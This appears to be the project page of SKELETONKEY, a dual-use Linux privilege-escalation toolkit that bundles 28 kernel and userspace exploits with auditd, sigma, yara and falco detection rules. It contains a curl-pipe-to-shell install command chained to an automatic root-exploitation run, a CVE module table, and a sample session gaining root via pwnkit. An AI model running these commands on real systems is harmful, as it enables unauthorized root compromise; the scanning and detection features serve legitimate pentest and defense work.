SKELETONKEY

One curated binary. 28 Linux LPE exploits from 2016 → 2026. Detection rules in the box. One command picks the safest one and runs it.

$ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
  && skeletonkey --auto --i-know

⚠ Authorized testing only — see ETHICS.md

Why this exists

Most Linux privesc tooling is broken in one of three ways:

SKELETONKEY is one binary, actively maintained, with detection rules for every CVE it bundles — same project for red and blue teams.

Corpus at a glance

28 total modules
14 🟢 land root by default
14 🟡 primitive + opt-in chain
10y 2016 → 2026 coverage

Sortable by clicking column headers. 🟢 = lands root by default · 🟡 = primitive + opt-in --full-chain.

Year CVE Bug Module Tier
2024CVE-2024-1086nf_tables nft_verdict_init cross-cache UAFnf_tables🟡 primitive
2023CVE-2023-32233nf_tables anonymous-set UAFnft_set_uaf🟡 primitive
2023CVE-2023-22809sudoedit EDITOR/VISUAL -- argv escapesudoedit_editor🟢 full chain
2023CVE-2023-4622AF_UNIX garbage-collector race UAFaf_unix_gc🟡 primitive
2023CVE-2023-3269StackRot — maple-tree VMA-split UAFstackrot🟡 primitive
2023CVE-2023-2008vmwgfx DRM buffer-object OOB writevmwgfx🟡 primitive
2023CVE-2023-0386overlayfs copy_up preserves setuid bitoverlayfs_setuid🟢 full chain
2023CVE-2023-0458EntryBleed — KPTI prefetchnta KASLR bypassentrybleed🟢 leak
2023CVE-2023-0179nft_payload set-id memory corruptionnft_payload🟡 primitive
2022CVE-2022-25636nft_fwd_dup_netdev_offload heap OOBnft_fwd_dup🟡 primitive
2022CVE-2022-2588net/sched cls_route4 dangling-filter UAFcls_route4🟡 primitive
2022CVE-2022-0492cgroup v1 release_agent ns mismatchcgroup_release_agent🟢 full chain
2022CVE-2022-0847Dirty Pipe — page-cache write via splicedirty_pipe🟢 full chain
2022CVE-2022-0185fsconfig legacy_parse_param 4k heap OOBfuse_legacy🟡 primitive
2021CVE-2021-33909Sequoia — seq_file size_t→int wrapsequoia🟡 primitive
2021CVE-2021-3156sudo Baron Samedit heap overflowsudo_samedit🟡 primitive
2021CVE-2021-3493Ubuntu overlayfs userns file-cap injectionoverlayfs🟢 full chain
2021CVE-2021-22555iptables xt_compat 4-byte heap OOBnetfilter_xtcompat🟡 primitive
2021CVE-2021-4034Pwnkit — pkexec NULL argv env-injectionpwnkit🟢 full chain
2020CVE-2020-14386AF_PACKET tp_reserve integer underflowaf_packet2🟡 primitive
2019CVE-2019-13272PTRACE_TRACEME → setuid execve raceptrace_traceme🟢 full chain
2017CVE-2017-7308AF_PACKET TPACKET_V3 integer overflowaf_packet🟡 primitive
2016CVE-2016-5195Dirty COW — COW race via /proc/self/memdirty_cow🟢 full chain
2026CVE-2026-31431Copy Fail — algif_aead authencesn page-cache writecopy_fail🟢 full chain
2026CVE-2026-43284Dirty Frag — IPv4 xfrm-ESP page-cache writedirty_frag_esp🟢 full chain
2026CVE-2026-43284Dirty Frag — IPv6 xfrm-ESP (esp6)dirty_frag_esp6🟢 full chain
2026CVE-2026-43500Dirty Frag — RxRPC handshake forgerydirty_frag_rxrpc🟢 full chain
2026variantCopy Fail GCM — rfc4106(gcm(aes)) siblingcopy_fail_gcm🟢 full chain

Who it's for

🔴 Red team / pentesters

One tested binary. --auto ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.

🔵 Blue team / SOC

Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules.

🛠 Sysadmins

skeletonkey --scan (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.

🎓 CTF / training

Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.

What it looks like

--auto on a vulnerable Ubuntu 22.04 box:

$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)

$ skeletonkey --auto --i-know
[*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64
[*] auto: scanning 28 modules for vulnerabilities...
[+] auto: dirty_pipe             VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent   VULNERABLE (safety rank 98)
[+] auto: pwnkit                 VULNERABLE (safety rank 100)

[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...

[+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id
uid=0(root) gid=0(root) groups=0(root)

Safety ranking goes structural escapespage-cache writesuserspace cred-raceskernel primitiveskernel races. The goal is to never crash a production box looking for root.

The verified-vs-claimed bar

Most public PoC repos hardcode offsets for one kernel build and silently break elsewhere. SKELETONKEY refuses to ship fabricated offsets.

Quickstart commands

# Install (x86_64 / arm64; checksum-verified)
$ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh

# What's this box vulnerable to?  (no sudo)
$ skeletonkey --scan

# Pick the safest LPE and run it
$ skeletonkey --auto --i-know

# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
$ skeletonkey --detect-rules --format=auditd \
    | sudo tee /etc/audit/rules.d/99-skeletonkey.rules

# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
$ ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
    --ssh-key ~/.ssh/id_rsa hosts.txt

Status

v0.5.0 cut 2026-05-17. 28 modules build clean on Debian 13 (kernel 6.12) and refuse cleanly on patched hosts. Empirical end-to-end validation on a vulnerable-kernel VM matrix is the next roadmap item; until then, the corpus is best understood as "compiles + detects + structurally correct + honest on failure."

Read the roadmap How to contribute